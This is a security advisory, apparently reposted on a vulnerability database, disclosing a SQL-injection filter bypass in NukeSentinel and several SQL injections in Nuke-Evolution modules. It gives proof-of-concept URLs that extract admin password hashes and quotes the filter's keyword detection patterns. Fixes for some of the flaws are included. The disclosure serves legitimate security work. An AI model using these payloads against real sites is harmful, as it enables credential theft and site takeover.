`PROGRAM: Nuke-Evolution & NukeSentinel
HOMEPAGE: http://www.nuke-evolution.com/
VERSION: All versions
BUG 1 NukeSentinel Bypass SQL Injection Protection
BUG 2 Nuke Evolution <= 2.0.3 SQL Injections vulnerabilities
AUTHOR: Aleksandar
NukeSentinel Bypass SQL Injection Protection
nukesentinel.php Line 270-290
******************************************
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR stristr($nsnst_const['query_string'],'%20union%20') OR stristr($nsnst_const['query_string'],'*/union/*') OR stristr($nsnst_const['query_string'],' union ') OR stristr($nsnst_const['query_string_base64'],'+union+') OR stristr($nsnst_const['query_string_base64'],'%20union%20') OR stristr($nsnst_const['query_string_base64'],'*/union/*') OR stristr($nsnst_const['query_string_base64'],' union ')) {
// block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
// Check for CLIKE attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[2];
if($blocker_row['activate'] > 0) {
if (
stristr($nsnst_const['query_string'],'/*') OR
stristr($nsnst_const['query_string_base64'],'/*') OR
stristr($nsnst_const['query_string'],'*/') OR
stristr($nsnst_const['query_string_base64'],'*/')) {
// block_ip($blocker_row);
die("BLOCK IP 2 " );
}
}
******************************************
Example(Bypass SQL Injection Protection):
PHPNuke + NukeSentinel
http://localhost/php-nuke/?%2f**%2fUNION%2f**%2fSELECT ... etc
Nuke-Evolution + NukeSentinel
http://localhost/nuke-evolution/?%2f**%2fUNION%2f**%2fSELECT .. etc
Nuke-Evolution Basic 2.0.3
Open source content management system, which features customizable blocks, modules, multilanguage support and themes. With importance on security, speed and usability.
A PHP-Nuke based CMS with added security, functionality, and core improvements.
Site:http://www.nuke-evolution.com/
Your_Account/index.php
Vulnerability code:
********************************************************************
case "userinfo":
//include("modules/$module_name/public/userinfo.php");
/*****[BEGIN]******************************************
[ Mod: YA Merge v1.0.0 ]
******************************************************/
//The "$username" variable isn't filtered!!!
$result = $db->sql_query("SELECT user_id FROM ".$user_prefix."_users WHERE username='$username'<pre><br>");
$uid = $db->sql_fetchrow($result);
Header("Location: modules.php?name=Profile&mode=viewprofile&u=".$uid[0]);
die();
/*****[END]********************************************
[ Mod: YA Merge v1.0.0 ]
******************************************************/
break;
*********************************************************************
POC Exploit:
http://localhost/nukeNE/modules.php?name=Your_Account&op=userinfo&username=1'%2f**%2fUNION%2f**%2fSELECT%20pwd%20FROM%20nuke_authors%20WHERE%20%20radminsuper='1'%2f**
Results:
MOZILA FIREFOX
URL BAR/ADDRESS BAR: http://localhost/nukeNE/modules.php?name=Profile&mode=viewprofile&u=ADMIN-MD5-HASH
MOZILA FIREFOX
Live HTTP Headers - Firefox Add-ons
http://localhost/nukeNE/modules.php?name=Profile&mode=viewprofile&u=ADMIN-MD5-HASH
GET /nukeNE/modules.php?name=Profile&mode=viewprofile&u=ADMIN-MD5-HASH HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
News/read_article.php line 66
Vulnerability code:
++++++++++++++++++++++++++++++++++
// //The "'$sid" variable isn't filtered!!!
$sql = "select catid, aid, time, title, hometext, bodytext, topic, informant, notes, acomm, haspoll, pollID, score, ratings FROM ".$prefix."_stories where sid='$sid'";
$result = $db->sql_query($sql);
++++++++++++++++++++++++++++++++++
POC Exploit:
http://localhost:8080/htmlNE/modules.php?name=News&file=read_article&sid=-1'%2f**%2fUNION%2f**%2fSELECT%201,1,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper='1'%2f**
FIX
++++++++++++++++++++++++++++++++++
$sid= intval($sid); // FIX
$sql = "select catid, aid, time, title, hometext, bodytext, topic, informant, notes, acomm, haspoll, pollID, score, ratings FROM ".$prefix."_stories where sid='$sid'";
$result = $db->sql_query($sql);
++++++++++++++++++++++++++++++++++
Donate/index.php line 33 & 46
Vulnerability code:
********************************************************
if (is_numeric($uid)) { // LOL :)
$uid = intval($uid); :) LOL
}
....
// Line 46
} elseif (!empty($uid)) {
include_once(NUKE_BASE_DIR.'header.php');
$sql = "SELECT username FROM ".$user_prefix."_users where user_id='$uid'"; // BOOM - > SQL injection
$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);
$name = $row['username'];
**********************************************************
POC Exploit:
http://localhost:8080/htmlNE/modules.php?name=Donate&op=received&uid=-1'%2f**%2fUNION%2f**%2fSELECT%20pwd%20FROM%20nuke_authors%20WHERE%20%20radminsuper='1
FIX
++++++++++++++++++++++++++++++++++++++
///if (is_numeric($uid)) { REMOVE THIS LINE
$uid = intval($uid);
///} REMOVE THIS LINE
++++++++++++++++++++++++++++++++++++++
Best Regards
Aleksandar
Programmer and Web Developer
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation